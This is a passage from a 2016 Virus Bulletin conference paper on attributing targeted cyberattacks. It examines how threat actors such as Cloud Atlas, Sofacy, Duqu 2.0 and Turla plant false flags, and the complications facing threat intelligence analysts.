The trend at this time remains that even in cases of infrastructure reuse between teams, these occur within the same threat actor cluster (as in the case of multiple independent Chinese-speaking threat actors getting their hands on the same zero-days, some overlapping infrastructure, or sharing lateral movement tools  a situation that speaks more to the tasking arrangement or community of attackers in this cluster than to a breakdown in attribution methods).
In the case of researchers with a privileged point of view, such as those working with email services, ISPs, or those providing support for a compromised server, backend connections can be a serendipitous and often telling attributory indicator.
What we mean by backend connections are connections that take place when an attacker retrieves data from an exfi ltration server or email account, prepares a staging or phishing server, or checks in on a compromised domain to assure its continued availability.
Attackers almost always use Tor or some other anonymizing service to mask this connection but mistakes happen more often than not.
The mistake will likely provide researchers with an IP or a region telling of the native operations of the attacker.
Toolkits Malware families Although even the most advanced threat actors may rely on publicly available tools, most take the time to build their toolkits and develop custom backdoors, lateral movement tools, and exploits.
Knowing the value of what theyve developed, actors will jealously guard their toolkit, thereby allowing researchers to hone in on a threat actor by the presence of a tightly controlled malware family.
In simpler terms: if Snake is present then it looks like Turla if WildPositron malware is found then its probably Lazarus, and so on.
Its important to remember that malware ownership isnt static.
Just as the malware itself develops over time, the ownership may be transferred.
It can be shared with other teams in the same cluster, developers may leave or set up their own shops, or source code may leak through a variety of circumstances.
Code reuse In cases where an actor has been exposed or has found other motivations for a top-down retooling, code reuse can indicate a relationship between currently used tools and their predecessors.
Coders can be quite lazy and even when the intention is a full retooling, malware developers will often reuse specifi c functions or pieces of code that have worked well in the past.
This means that the avid researcher or obsessive yara rule writer may be able to hone in on these traits and connect new and old campaigns, or even seemingly unrelated threat actors.
Passwords A similar circumstance applies to the reuse of passwords.
These may be the passwords to email accounts used for phishing or exfi ltration, accounts on compromised servers, or hard-coded passwords in malware components.
A recent example saw a threat actor deploying droppers with password-protected resources that contained the actual payload in an attempt to thwart sandboxes and automatic detection systems.
The hard-coded password protecting the resource was the same even when different, seemingly unrelated malware families were being dropped, thus allowing researchers to tie the two malware families to the same actor.
This also applies to hard-coded encryption keys in different malware families or campaigns.
Exploits Finally, zero-day exploits are a great source of excitement in research circles these days.
The presence of an 0-day immediately sets an actor apart from the run-of-the-mill attackers, thus justifying greater researcher involvement.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 3VIRUS BULLETIN CONFERENCE OCTOBER 2016 Though exploits may be repurposed or acquired from public sources, a greater emphasis on responsible disclosure has limited the availability of the latter by dissuading the release of fully developed proof-of-concept code that may aid attackers in leveraging newly discovered exploits2.
That said, many advanced attackers have exploit developers in house, with some threat actors unleashing a seemingly unlimited supply of exploits where needed.
With a given exploit being an arcane and jealously guarded weapon in the attackers arsenal, home grown implementations of an exploit allow researchers to group together diverse malware families or separate campaigns to a given cluster.
When a specifi c implementation of a zero-day appears in separate unrelated instances within a given timeframe (even long after the zero-day was identifi ed and patched), it signifi es code sharing likely pointing to the same actor or activity cluster.
Despite discussions of parallel discovery [2] of exploits by different vulnerability researchers in a given timeframe, exploit implementations differ.
However, this does not entirely discount the possibility of a double-dealing seller in the black or grey market or other unexpected threat actor interactions like exploit repurposing, as evidenced with Equation teams reuse of CVE-2013-3918 within a couple of days of its initial use by the Aurora actors [3].
One also cannot discount the nefarious possibility that a disclosed exploit repository itself has been hacked, as this represents a boon for an advanced attacker with indisputable return on investment.
Tasking A fi nal oft ignored tell of targeted attacks are the chosen targets themselves as they represent the intent propelling forward a well resourced espionage operation.
Though many indicators may be faked or altered, the dynamic between attacker and victim is harder to hide or directly manipulate as it involves real-world publicly known circumstances or geopolitical confl icts.
The threat intelligence space represents an unprecedented circumstance in which an unrelated third party with an unexpected vantage point can have situational awareness over large swathes of the targets of a secretive intelligence organization.
For research teams with gifted analysts, this insight allows for attacker profi ling.
A possible outcome is the mapping of a campaign to a geopolitical or regional situation that may point in the direction of a given perpetrating organization or nation.
Or in the case of a resurgent retooled threat actor, witnessing them revisiting the old favourites can be a telling sign connecting a new actor with a known cluster of activity, particularly when the new attacks leverage previously pilfered insights into the victims network or pattern of life.
However, the study of tasking alone is largely interpretative and faces common pitfalls derived from cognitive biases and geopolitical oversimplifi cations, already familiar to intelligence analysts.
Further complications arise from the particularities of certain targets and attackers alike.
For example, some targets are so attractive by their very nature and position as to attract the interest of several different actors simultaneously.
Also, certain 2 An example is the quick adoption by DarkHotel of a Flash zero-day found in the reckless full release of the HackingTeam trove [1].
threat actor confi gurations break this paradigm entirely, as will be discussed further in the next section.
A CUNNING MENAGERIE IN THE WILD In order to delve into specifi c examples, we require two distinct allowances from the reader: The fi rst regards the use of attribution examples.
As should have become apparent by now, attribution claims are far from certain and often sparsely substantiated.
As part of a company and a research team that is cautious to remain attribution agnostic, we toe this line respectfully and with good reason.
In the process of discussing in-the-wild examples of manipulation of attribution leads, it may be necessary to point to commonly held beliefs or rumours as to the provenance of certain threat actors in order to showcase where the indicators falter.
We ask the reader to treat these as what they are: rumours heard through the attribution grapevine, the sort of RUMINT that associates a threat actor with a country, region, or organization.
These are not our own assertions or claims.
We remain steadfast in our conviction of the complexities of the attribution problem and would prefer not to be quoted by overzealous readers as asserting attribution claims that are not our own.
At times our own research may support these intuitions but we do not go so far as to make these attribution claims our own.
Secondly, despite the liberties provided by an academically toned industry publication, we remain bound by corporate realities, respect for the research methods of collaborators, and, most of all, legal constraints.
As such, we may not always be able to provide full disclosure of indicators involved in certain fi ndings.
As we do not seek to recreate the process of each investigation, we feel these are not vital to convey the main thrust of our argument, which is that intermediate-to-advanced threat actors are aware of attribution methods and are already attempting to manipulate researchers to expend limited resources chasing ghost leads.
Where gaps arise, let us relegate these accounts to camp fi re re-tellings among friends.
We thank the reader for these allowances, providing a lacuna between authors and content, in order to further a wider discussion about the complexities of attribution that could not happen otherwise.
On language  Cloud Atlas In December 2014, Blue Coat exposed a newly discovered malware framework dubbed Inception [4, 5], which was later attributed to a new actor named Cloud Atlas [6].
Cloud Atlas is believed to have been born from a previous actor tracked as Red October [7].
Whether Cloud Atlas is the same actor or a spin-off of the original, this case posed some interesting analytical problems when it came to attribution.
The current belief is that both teams are likely Eastern European-based and most likely Russian-speaking.
Cloud Atlas may be a spin-off from the original group following confl icts arising from the annexation of Crimea in the spring of 2014.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 4 VIRUS BULLETIN CONFERENCE OCTOBER 2016 During the investigation of this new campaign, various oddities were discovered that seemed to disprove the belief that Cloud Atlas was Eastern European.
It was only after analysing these breadcrumbs in conjunction with each other that the determination was made that Cloud Atlas was most likely muddying the water in order to make attribution more diffi cult.
Targeting seemed to fi t the original campaign, as the majority of attacks were heavily focused on Russia, specifi cally government and diplomatic entities.
Very similar, if not identical lure documents were used in the two campaigns.
Also, the implementation of compression algorithms was nearly identical in both, with the Cloud Atlas version showing slight improvement.
But this is where the similarities stop, and the weirdness starts: One of the early lure documents discovered in this campaign pertained to Russian government offi cials but was titled in Spanish.
Further analysis of metadata from the original lure document showed it was created on a native Spanish speakers system.
Initially, this caused a bit of confusion, but it was later determined that the lure document was most likely stolen from an advisor in the Spanish Embassy in Moscow and repurposed for use in attacks.
The infrastructure used by Cloud Atlas to manage victim data and implants was also interesting.
The actors used a large pool of IP addresses in a round robin fashion to access the cloud- based provider used to host payloads and store exfi ltrated data.
Geolocation of the IP addresses showed the actors as mainly originating from South Korea.
Later analysis revealed that these IP addresses were mostly compromised home routers which contained a small proxy implant.
Focusing on language clues left behind in the malware caused further attribution issues, as confl icting indicators were peppered into the mobile implants: Arabic strings in the BlackBerry version Hindi characters in the Android version God_Save_The_Queen was found in the BlackBerry version JohnClerk was found in the project path for the iOS version The presence of these various confl icting strings in different versions of the malware could either mean that the actors borrowed code from various sources to use in their implants, or that the strings were purposely placed to misguide researchers.
During the investigation, many researchers were running the various samples found in the wild in an effort to solicit a second-stage binary from the actors.
In multiple instances, an implant was served up to researcher machines that did not fi t the typical Cloud Atlas framework.
This implant showed characteristics of malware traditionally considered Chinese and used a command-and-control domain that was inactive at the time.
The belief is that the actors recognized researcher systems in their logs and instead of serving the normal second-stage binary, they instead provided a fake, unrelated piece of malware to cause confusion.
Blue Coat researchers did an excellent job in their original paper describing the various paths attempted for attribution, only to hit a dead end or to fi nd nonsense data.
This is a great example of how certain APT actors are aware of the indicators we as researchers tend to latch onto, and are already purposely modifying those characteristics.
On tasking  Wild Neutron Wild Neutron3 is a crowd favourite when it comes to complicated attribution research, complete with apocryphal tales and red herrings.
Wild Neutron fi rst rose to prominence in 2013 [8], though evidence shows the group was active as early as 2011.
Their reputation is in large part thanks to their ambitious targeting, bagging whales like Apple, Facebook, Microsoft and Twitter.
Their arsenal included multi-platform malware [9], a Java zero-day (CVE20130422), and a penchant for well-chosen watering-hole sites.
After close to a year of silence, Wild Neutron returned for a 2015 campaign, this time with a stolen digital certifi cate and a still undiscovered Flash zero-day exploit.
Throughout, attribution has been a maze of contradictory indications and false starts that continue to elude researchers.
Some of the simpler misleads are found in the Windows malware where language strings were found both in Romanian (la revedere meaning goodbye) and Russian (uspeshno, a transliteration of successfully).
Other leads include a false connection to a well known researcher, connections to apparent scam artists, investment funds, and even a seemingly successful cryptocurrency scam4.
But Wild Neutron presents a deeper challenge for analysts than this particular hodgepodge of indicators, one that speaks to the possible nature of the threat actor as a mercenary entity.
Usually a situation so convoluted would fi nd some semblance of resolution by looking at the victim spread, the sort of organizations and entities targeted by the threat actor.
In this case, the victim spread does little to assuage our uncertainty.
Looking at Wild Neutrons targeting, no one clear nexus of interest is apparent: Large company groups involved in MA Real estate companies Bitcoin-related companies Investment fi rms IT companies Healthcare companies Law fi rms Developers (iOS and Linux) With victims in over 11 countries5 and multiple verticals, we can perhaps assume several different and possibly overlapping nexuses of interest that may suggest multiple tasking entities or diverging mission imperatives.
Another noteworthy observation 3 Also known as: Morpho, Butterfl y, ZeroWing, or Jripbot.
4 These attributory hypotheses and the supporting indicators are presented in the Kaspersky Private Intel Report on Wild Neutron pushed to subscribers in July 2015.
5 Visibility courtesy of the Kaspersky Security Network (KSN) and Kaspersky sinkholes of Wild Neutron command-and-control infrastructure.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 5VIRUS BULLETIN CONFERENCE OCTOBER 2016 is the lack of victims in diplomatic or government institutions, a customary vertical for a threat actor of this calibre.
This stands in juxtaposition to what is presumably counterterrorism tasking with the compromise of the Ansar alMujahideen forum.
Researchers concluded that the tasking was in line with a mercenary arrangement, taking tasking from different entities and imperatives, including a fi nancial incentive to pilfer tradeable fi nancial information on mergers and acquisitions.
This type of threat actor, while unlikely to remain rare, by its very nature dismantles our ability to form a generalized attributory claim on the basis of tasking alone.
On hacktivism The following examples are not intended as a particular criticism of hacktivist tendencies themselves, but rather point to the abuse potential in the prevalence of hacktivism as a commonplace element in the Internet.
Threat actors interested in misleading the public and researchers alike with their disruptive activities stand to benefi t from doing so under the cover of a hacktivist group.
They are thereby afforded a cover of expected anonymity, plausible deniability, and the inherent legitimacy of an Internet-age societal force springing forth from a ground swell of community sentiment (even when said community is nowhere to be found).
The following two threat actors have attempted this with varying degrees of success: Lazarus6 the Weak The Lazarus Group [10] represents a cluster of activity stretching back as far as 2009.
From that time the group has engaged in a series of infamous attacks, most notably the devastating wiping attack on Sony Pictures Entertainment (SPE) in 2014.
Our fi ndings7 tied this cluster together to contain a series of malware families and campaigns suspected of sharing the same provenance but not previously technically correlated.
Looking at these different campaigns, we see a pattern emerge characterized by the use of unheard of hacktivist groups as self-assigned perpetrators of each attack.
In the case of SPE, the group was Guardians of Peace or GOP.
We are meant to believe this is an established hacktivist group despite lacking a visible presence or pedigree before or after the attack.
Similarly, the 2012 attack on the Korean newspaper JoongAng Daily [11] that reportedly disrupted operations was plastered with the motto Hacked by IsOne, an unheard of attacker.
2013 saw wiper attacks on South Korean institutions [12] using malware designed to overwrite fi les with Roman army terms HASTATI and PRINCPES8 before corrupting the drives Master Boot Record.
Interestingly, these attacks were claimed by two unheard of groups, the New Romantic Cyber Army Team and the WhoIs Team [14].
6 Also known as DarkSeoul, Operation Troy, WildPositron and TEMP.Hermit, or in relation to the malware families Destover, Duuzer, Hangman, and SpaSpe.
7 Initially presented at the 2016 Kaspersky Lab Security Analysts Summit (SAS) in collaboration with AlienVault Labs Jaime Blasco.
8 As noted by FireEye researchers, probably a misspelling of Pricipes, a term for spearmen or swordsmen [13].
Despite media coverage, the Lazarus Groups insistence on employing cover groups has done little to persuade onlookers for long as to the provenance of these attacks.
This is due, in large part, to the supposed perpetrators complete lack of pedigree or prevailing Internet presence.
Their lifespan is only that of the attack in question.
With no entity to trace, follow, or interrogate, attention quickly turns to the more obvious perpetrator of these attacks.
However, this misleading tactic has been better employed by another threat actor.
Sofacy the Strong One of the most interesting groups in recent years has been Sofacy9.
Sofacy is widely believed to belong to a Russian intelligence organization, although this is still a subject of debate.
The group has vast resources at its disposal and has produced copious numbers of zero-day exploits, especially in the last three years.
Targeting for Sofacy has changed over the years in parallel with the Russian political climate and has included foreign government agencies (intelligence, military and civilian), suspected terrorism targets, media outlets (both foreign and domestic), non-governmental organizations (NGOs), and energy-based companies to name a few.
Whats most interesting about this group is their effectiveness at conducting deception operations in an effort to afford their sponsors some level of plausible deniability.
We will address three instances in which Sofacy is believed to have employed a false front in order to mask its true intentions.
As mentioned before, due to the sensitivity of specifi c data and sources, we will not reconstruct our investigations to prove these are, in fact, acts of Sofacy, but rather present the narrative in the hope of supporting a wider debate.
CyberBerkut In March 2014, a supposedly Ukrainian-based, pro-Russian separatist group calling itself CyberBerkut rose to prominence by conducting various attacks against the Ukrainian government and other entities supporting Ukraine during the annexation of Crimea [15].
The group was extremely active in 2014 and 2015, targeting not only local Ukrainian government and infrastructure, but also NATO resources, US defence companies, and the German Bundestag to name a few.
While the group operated under the guise of being part of the larger Anonymous collective, further research has indicated that this may not have been the case.
Some researchers in the community have indicated that a connection between Sofacy and CyberBerkut exists [16], with others going as far as stating they are one and the same.
When looking at the timeline of events leading up to the annexation of Crimea and the confl ict in Donbass, one can certainly make the argument that the actions of CyberBerkut align closely with Russian interests.
On 22 February 2014, then President Viktor Yanukovych was ousted by the Ukrainian parliament.
Yanukovych eventually fl ed and later surfaced in exile in southern Russia.
Following this, on 25 February, the special police forces in Ukraine known as Berkut were dissolved by parliament.
In the following weeks, unidentifi ed gunmen, widely believed to be Russian soldiers, 9 Also known as APT28, Tsar Team and Pawn Storm, among others.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 6 VIRUS BULLETIN CONFERENCE OCTOBER 2016 seized control of various checkpoints and airports throughout Crimea.
Around the same time (3 March 2014), the domain cyberberkut[.
]org was created and the group made its fi rst public appearance.
Before this date, there is no known data showing that the group or its members existed in any capacity.
This becomes relevant when looking at the other examples given later in this section, as hacktivist groups tend to have some kind of history supporting their lineage.
Some of CyberBerkuts attacks also coincidentally targeted the same victims as Sofacy.
In January 2015, CyberBerkut conducted attacks against multiple German government websites, including the German Bundestag [17].
Subsequently, in May 2015, the Bundestag was also attacked by what was later confi rmed by the German government as Sofacy [18].
While it is not uncommon for two actors to target the same victim, the argument could be made that both attacks were conducted by the same actors, or possibly that some type of trade-off occurred between the two.
CyberCaliphate On 24 December 2014, a new pro-ISIS hacktivist group by the name of CyberCaliphate announced its presence by taking control of the Albuquerque Journals mobile application and broadcasting propaganda to its subscribers [19].
Then, on 12 January 2015, CyberCaliphate seized control of the United States Central Command (USCENTCOM)s Twitter and YouTube accounts [20].
In February 2015, they proceeded to compromise Newsweeks Twitter account [21] and also sent propaganda text messages to subscribers using WBOC Marylands text alert system [22].
Following these attacks, in April 2015, the group lashed out again, this time against a French television station, TV5 Monde [23], where they were able to block broadcasts for 11 stations and seize control of the TV stations social media accounts.
While initial speculation pointed to this being yet another pro-ISIS group attempting to spread their propaganda to the masses, further research turned up interesting data that potentially pointed to a Russian entity, specifi cally Sofacy, as the real culprit.
First, there was no evidence of the groups existence prior to the initial attacks in January.
As stated previously, it is not typical for a hacktivist group to have no pedigree or lineage prior to a large defacement such as USCENTCOM.
Secondly, FireEye later revealed that the IP address of the website where data from the TV5Monde hack was published was part of the same netblock of previously known Sofacy infrastructure [24].
Additionally, other sources have shown that the registrant information used to register the groups offi cial domain cyb3rc[.
]com is linked to other well-known Sofacy domains.
While the exact motivation is unknown, it is believed that CyberCaliphate was created to provide the Sofacy actors a way to conduct psychological operations against certain targets of interest while providing a level of plausible deniability.
Whatever the case may be, if it werent for a couple of small errors on the part of the actors, CyberCaliphate could have remained a useful front for their operations.
Yemen Cyber Army In the wake of the success of the CyberCaliphate campaign, another hacktivist group emerged: Yemen Cyber Army (YCA) appeared in May 2015.
As with the other two groups, YCA also had no prior history and its members were completely unknown.
They proclaim to be a hacktivist group operating out of Yemen, specifi cally supporting the Houthi movement and possessing strong anti-Saudi sentiments.
Saudi Arabia mounted a bombing effort in March 2015 against Yemen to suppress the ongoing Houthi forces that were overtaking Yemens government in Sanaa.
Shortly after this campaign in April 2015, the website of the London-based AlHayat newspaper was defaced by YCA.
Subsequently, in May 2015, the Saudi Ministry of Foreign Affairs was also hacked by YCA and thousands of internal communications were published on Wikileaks.
Many researchers currently believe YCA is an Iranian-led front to cause damage and spread propaganda against the Saudi government, but after investigating the group and its activities further, a new theory has surfaced, indicating that this is potentially another campaign orchestrated by Sofacy.
While there is no solid proof showing that this is, in fact, Sofacy and not Iran, we point to factors that may shed some light in favour of the former.
First, it is important to understand the relationship between Russia and Saudi Arabia.
Saudi is arguably one of the top nemeses of the Russian government, dating as far back as the 1980s when Saudi supported the Mujahideen during the Soviet-Afghan war.
Saudi is a key US ally in the Middle East and also allied with other countries in the region that do not hold close diplomatic relations with Moscow.
In February 2015, Saudi deployed fi ghter jets to Turkey for use in ground-based operations in Syria to support the militant opposition.
Also during this time, Russia openly accused Saudi of depressing oil prices in an effort to tank the Russian economy.
All of this speaks to the potential motive of why Russia would be very much interested in damaging the Saudi government.
Around the same time, in February 2015, Sofacy was discovered using a zero-day exploit against a select few targets, one of these being the Saudi Embassy in Ukraine.
This exploit was used in the wild only by Sofacy until April 2015, when Microsoft fi nally patched it.
The very limited use of this exploit during this time frame, combined with the fact that the Saudi Embassy was actively being targeted, shows a very real possibility that Sofacy had access to the Saudi Ministry of Foreign Affairs networks as early as February 2015.
Another interesting tie to Sofacy is a domain that was established by YCA in June 2015 (wikisaleaks[.
]com).
This domain was registered using privacy-protected services, but digging behind the protection revealed that the email registrant used for this domain was nghockengyandex.com, the same as was used to register three other domains utilized by YCA (yemenica[.
]com, yemenica[.
]org, and yemenica[.
]net).
While this specifi c registrant has never directly been tied to known Sofacy domains, the use of Yandex email accounts is a favourite for the group.
Also interesting are the nameservers used for wikisaleaks[.
]com.
This domain utilizes nameservers from WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 7VIRUS BULLETIN CONFERENCE OCTOBER 2016 orderboxdns[.
]com, which is also a highly favoured provider for Sofacy.
Further digging revealed that the domain is being hosted at 87.236.215.129.
While this IP address has never been used by Sofacy before, the subnet is also a favourite of the groups.
The following are some other IP addresses in the same subnet used by Sofacy in past attacks: 87.236.215.13 87.236.215.60 87.236.215.99 87.236.215.102 87.236.215.132 87.236.215.134 87.236.215.143 87.236.215.246 As stated above, while none of these observations represent the proverbial nail in the coffi n, in combination they strengthen the claim that Sofacy could be behind YCA, just as it has been with the prior two campaigns.
Another possibility is that Sofacy could be providing information and assistance to an Iranian- based group as they may share an interest in damaging the Saudi government.
Whatever the case, Sofacy has displayed a predilection and gift for running effective deception campaigns against targets of interest, and is likely to continue to do so.
On blame shifting The following threat actors have chosen a different tactic.
Rather than persuade researchers into thinking that their attacks are the work of a different category, lesser calibre player, these threat actors instead attempt to cast the blame onto another recognizable nation-state actor.
The attempts are presented in rising order of perceived effectiveness.
Duqu 2.0 The formidable Duqu was fi rst discovered in 2011 by CrySyS Lab and extensively researched by GReAT.
The initial notoriety of Duqu was largely due to the malwares relationship to Stuxnet, with specifi c modules displaying traits of shared development indicative of the Tilded platform.
But Duqu is most admirable for its audacity, as displayed by the choice of infecting a Hungarian digital certifi cate authority in order to solve an operational requirement.
Appreciative of GReATs admiration, as conveyed through more than half a dozen blog posts and extensive analysis, the legendary threat actor resurged by hand-delivering a vastly improved version of the malware to our doorstep.
This time around, Duqu was equipped with up to three zero-day exploits including a kernel exploit (CVE-2015-2360), memory-resident malware signed with a stolen digital certifi cate, and a unique persistence philosophy cognizant of the victim as a network rather than a collection of independent victim machines [25].
Other unwitting recipients of this gift included venues for P51 talks, industrial control systems-related companies, and telecommunications providers [26].
Duqu 2.0 is entirely modular, spanning upwards of 100 plug-in variants, with separate modules to handle specifi c operations like communications with command-and-control infrastructure and tunnelling directly into the victims LAN.
Among the latter is an NDIS fi lter driver internally named termport.sys10, whose functionality is toggled by packets that include the hard-coded magic string, romanian.antihacker in the 32-bit driver.
The 64-bit version, on the other hand, uses ugly.gorilla: a reference 10 The fi lename at time of deployment was changed to portserv.sys.
to a member of Comment Crew/APT1 [27].
Wang Dong, known by the alias Jack Wang or the handle Ugly Gorilla, was one of the fi ve PLA offi cers indicted [28] by a US grand jury in 2014 on 31 criminal counts related to computer abuse activities.
Though APT1/Comment Crew remains active to this day, presumably with Wang Dong amongst its ranks, the idea that they are behind the Duqu 2.0 attacks is patently ridiculous.
Apart from a series of attributory indicators pointing in an entirely different direction, the APT1 group would have needed to get their hands on the original Duqu source code given the structural similarities in some modules of the new platform.
The more likely explanation is that the threat actor noted the greater risk posed by a device driver (compared to the memory-resident modules) and peppered some false fl ags to misguide incident responders.
By citing a publicly indicted member of a well known and widely reported APT crew, the Duqu developers may have mislead an IR team whose technical expertise in the area of threat intelligence amounted to Google searching binary strings with no greater awareness of the threat landscape to draw from.
TigerMilk The mysterious TigerMilk11 actor is a thus far unattributed, privately reported discovery.
The campaign started in early 2015, targeting Peruvian institutions and entities exclusively for a period of six months.
The attacker used a commonplace exploit (CVE-2012-0158) in conjunction with a curriculum vitae stolen from a local victim in order to infect users with custom credential-stealing malware.
The position-independent backdoor was injected into processes like explorer.exe and various browsers.
In 64-bit systems, the malware would spawn a separate desktop with its own infected explorer.exe to avoid suspicion.
However, in operation the malware was clunky and caused perceptible instability so neither the development nor the intended functionality were indicative of a sophisticated actor.
So why mention TigerMilk?
The one particular feature of TigerMilk that makes it noteworthy is its use of a notorious digital certifi cate.
Every backdoor deployed is signed with the same stolen Realtek certifi cate12 as Stuxnet(.a/.b).
The samples were compiled and signed long after the certifi cates validity expired13, thereby obviating its use as a means of bypassing execution controls.
As such, the only imaginable value of signing these samples with this particular certifi cate is to fool incident responders and researchers into casting blame on the notorious Stuxnet team for an attack on Peruvian military and government institutions.
Moving beyond this basic deception, the true unresolved mystery of TigerMilk is: how did this new actor get its hands on this specifi c certifi cate?
The man behind the curtain One of the most advanced and prolifi c known threat actors is the Turla group.
They have existed in some shape or form since at 11 The private TigerMilk report was pushed to Kaspersky Intel Report subscribers in November 2015.
12 Serial number: 5e 6d dc 87 37 50 82 84 58 14 f4 42 d1 d8 2a 25.
13 12 June 2010.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 8 VIRUS BULLETIN CONFERENCE OCTOBER 2016 least 2006, but some speculate that their true origins may be as much as a decade earlier.
Its widely accepted that Turla is a state-sponsored actor originating from Russia.
What makes Turla so fascinating is the groups attention to detail, operational security, and advanced tactics for victim data exfi ltration.
During one specifi c incident in November 2012, the Turla group showed their willingness to engage in deception tactics when cornered.
Turla compromised a handful of victims during this campaign, but one particular European victim proved especially enticing.
The group had deployed their typical fi rst-stage malware, Wipbot, on the victims system and began their normal routine of collection and monitoring.
At some point, the victim became suspicious and decided to engage their incident response (IR) team to investigate their network and determine the source of nefarious activity.
The IR team began their normal process of surveying the system and running various investigative tools, however, they did not pull the system offl ine.
Turla became aware that they would soon be discovered.
At this point, most actors would simply uninstall their malware from the victim and move on.
Instead, Turla decided to have a bit of fun with the IR team in an attempt to cover their tracks.
They proceeded to utilize Wipbot to download and install a second-stage binary.
But this was no ordinary Turla malware, rather they installed a somewhat rare, already compiled piece of Chinese malware by the name of Quarian.
The Quarian malware communicated back with infrastructure located in Beijing, which was neither under Turlas control nor related to previous Turla operations.
They then proceeded to uninstall the Wipbot malware and erase their tracks from the victim systems.
This proved to be a great move on their part, as the IR team spent countless hours tracking down the Quarian malware and assuming the victim had been targeted by a Chinese-based APT group.
Because they used a lesser-known piece of malware, the investigators fi rst had to identify the family, then dig through the sprawling infrastructure in search of some level of attribution.
All of this work was obviously pointless and served as a fantastic smoke screen for Turlas retreat.
A COMPLICATED LANDSCAPE Beyond the particulars of an investigation or the cunning of a given actor, attribution suffers from a variety of complications ranging through varying external motivators, inherent limitations, and methodological disparities across vendors and research teams.
This merits a more high-level discussion of conditions complicating attribution in targeted attacks.
The intended takeaway is that attributory analysis is far from straightforward, largely hermeneutic, and in no way a standard practice at this time.
General complications Your sexiest attribution, please The private threat intelligence production landscape involves various intertwined forces that arise from an interplay between private industry, private and public consumers, and public attention.
Various motivations arise within this interplay, most notably that of the value of media attention and free PR, which has proven a notable motivator for the rise of threat intelligence production in the anti-malware industry.
While some TI teams have arisen out of the need for in-house elite researchers to deal with sophisticated attacks, many have followed from the realization that TI products garner heavy media attention with inherent marketing value.
Judgment for this tactic is dampened by recognition of its value in motivating the awareness and adoption of the need for mature threat intelligence in an industry where even corporate giants and leaders in technology products have been less than willing to devote even meagre resources to tackle a complex, demanding, and ever-evolving problem.
However, as is often the case with easy value-added ventures, abuse is quick to follow, as immature threat intelligence producers (often never-before-seen start-ups) have taken the stage with bombastic, absurd, and unverifi able attribution claims for the sake of headline stories that bring their companies to momentary prominence.
These stories will serve as an excuse to approach or even extort potential victims-cum-customers whose dismayed IT teams are forced to spend precious limited resources chasing down nebulous leads for the sake of due diligence to reassure an anxious C-suite of the continued integrity of their systems, reputation and intellectual property.
These tactics have borne ephemeral fruit not only with claims of sophisticated attacks but also presumed breaches, larger-than- life credential dumps, and ghost botnets.
This is not the only case where an eager but sometimes technically nave media machine is abused to the detriment of the threat intelligence production landscape.
In an effort to foster a sense of balanced debate, media outlets have entertained any sign of contention in the research community, lending credence to doubt even where there is little ambiguity and breeding a class of pundits charitably referred to as professional cyber-truthers, who have built careers on the basis of sparsely substantiated contrarian attributory claims.
While legitimate disagreement in the research community should not be diminished, we should also acknowledge the prevalence of sniping between competing vendors, the anti-anti-malware peanut gallery, and other skeptics eager to disparage popular research at face value.
In response, larger outfi ts are increasingly adopting a closed-door approach to the distribution of threat intelligence products, or the partial withholding of signifi cant details intended solely for paying customers  an approach with obvious benefi ts and latitude for expression, but one thats also prone to validation issues as the value of the research product cannot be verifi ed by qualifi ed third parties14.
On the off-chance that a given vendors products prove dubious or inconsequential for a single-source consumer, this can lead to an erosion of trust in threat intelligence as a whole.
The one-eyed man is king The very nature of threat intelligence results from a fascinating injection of third-party observers into the dynamic between an attacker and victim, often by chance.
This serendipitous 14 Discussed as a validation crisis likely to arise in threat intelligence [29].
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 9VIRUS BULLETIN CONFERENCE OCTOBER 2016 interplay may be the result of a contractual placement of defence solutions in the victims network, the maintenance of service infrastructure (as in the case of ISPs and webmail, cloud or storage providers), or by stumbling upon attack artifacts found on multi-scanners, staging servers, or through their foolishly wide distribution, in the case of hamfi sted attackers.
The implicit takeaway is that the position of the threat intelligence producer will shape the nature of the research by virtue of limited visibility.
All possible producers inevitably suffer from varying degrees of limited visibility.
This often means that two different similarly positioned companies possess different incomplete parts of the same operation, that endpoint security companies see payloads with no network traffi c, that ISPs see network traffi c and victimology but no payloads, and so on.
To then claim perfect awareness over a given campaign will prove short-sighted folly, given that little deters the same actors from continuing their efforts, often retooling and targeting the same victims.
Failures become apparent as alternate reports contain vaguely overlapping IOCs that showcase the incompleteness of a single-source report and extended campaigns against a given victim may abuse previously unseen attacker capabilities possibly witnessed by other vendors.
Analyst training An often ignored facet of the threat intelligence production cycle is the role of the analyst whose purpose is to coalesce various sources of information, arrive at various conclusions, and vet the overall logic of the fi nished product.
Sadly, at this stage in the rise of the threat intelligence industry, defi cient hiring practices overemphasize specialized technical knowledge and eschew generalist broad-thinking capabilities, often assuming technical candidates will bring these in tow.
This is seldom the case, as showcased by talented malware reverse engineers who dont consider themselves threat hunters, as well as by outlets promulgating technical malware breakdowns who fail to identify the connection of these artifacts with larger campaigns.
Threat intelligence analysts often suffer from defi cient training in conventional intelligence analysis.
Industry forums and conferences are heavily populated with trainings and ample resources aimed at fostering skills such as reverse engineering and threat hunting that are essential to the production process, but among these little is exclusively aimed at fostering the broad-thinking methodologies necessary to turn technical indicators and victimology into a reliable estimative and actionable consumable product.
Many military and intelligence metaphors and models are suggested at this stage but these are still reliant on the ability of the analyst to weigh different possibilities and scenarios, keeping excitement for a given theory at bay, and allowing for accurate estimative language to make its way to the fi nal recipient.
In simpler terms, its necessary to state that a hunch is a hunch, that some conclusions are sparsely sourced or cannot be independently arrived at, or that no conclusion can be made at this time.
There exist a handful of exemplary threat intelligence veterans whose familiarity with previous operations allows them to express high accuracy intuitions that speak to the provenance of targeted attacks the remainder of us mere mortals must be able to follow the logical foundations of a theory to arrive at an accurate action plan that can independently be sustained by the consuming IT and IR teams.
METHODOLOGICAL COMPLICATIONS Scope Even among seasoned threat intelligence producers, signifi cant disagreements arise.
Investigating a targeted attack is a largely hermeneutic endeavour as researchers interpret sparse fragments and indicators to understand the means, capabilities and (hopefully) the intentions of the attackers.
A common pitfall arises from a lack of consensus on whether a given threat actor is defi ned by a shared toolkit, overlapping infrastructure, or similarities of tasking.
